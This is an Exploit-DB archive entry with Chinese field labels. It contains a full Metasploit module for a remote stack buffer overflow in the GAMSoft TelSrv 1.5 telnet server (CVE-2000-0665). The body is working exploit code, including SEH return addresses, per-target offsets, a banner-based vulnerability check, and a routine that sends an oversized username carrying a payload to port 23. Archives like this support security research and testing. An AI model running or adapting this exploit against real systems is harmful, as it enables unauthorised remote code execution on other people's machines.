标题: GAMSoft TelSrv 1.5 - 'Username' Remote Buffer Overflow (Metasploit) EDB-ID: 16816 CVE: 2000-0665 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking
 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
   'Description' => %q{
     This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
    Other versions may also be affected. The service terminates after exploitation,
    so you only get one chance!
   },
   'Author'  => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'Arch'  => [ ARCH_X86 ],
   'License'       => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'    =>
    [
     [ 'CVE', '2000-0665'],
     [ 'OSVDB', '373'],
     [ 'BID', '1478'],
     [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
    ],
   'Privileged'  => false,
   'DefaultOptions' =>
    {
     'EXITFUNC'  => 'thread',
    },
   'Payload'         =>
    {
     'Space'   => 1000,
     'BadChars'   => "\x00\x0a",
     'StackAdjustment'  => -3500,
    },
   'Platform' => ['win'],
   'Targets'  =>
    [
     [ 'Windows 2000 Pro SP0/4 English REMOTE',
      {
       'Ret'  => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
       'Offset' => 1886,
      }
     ],

     [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
      {
       'Ret'   => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
       'Offset' => 3318,
      }
     ],

     [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
      {
       'Ret'   => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
       'Offset'  => 3358,
      }
     ],
=begin
     [ 'Windows XP Pro SP0/1 English',
      {
       'Ret'   => 0x71aa32ad, # pop/pop/ret xp pro en ALL
       'Offset' => 2600, # this is made up and absolutely wrong ;-)
      }
     ],
=end
    ],
   'DisclosureDate' => 'Jul 17 2000',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(23),
   ], self.class)
 end

 def check
  connect
  print_status("Attempting to determine if target is vulnerable...")
  select(nil,nil,nil,7)
  banner = sock.get_once(-1,3)

  if (banner =~ /TelSrv 1\.5/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
  connect
  print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
  select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

  username = rand_text_english(20000, payload_badchars)
  seh = generate_seh_payload(target.ret)
  username[target['Offset'], seh.length] = seh

  print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
  sock.put(username)
  select(nil,nil,nil,0.25)
  print_status('Exploit sent...')
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16816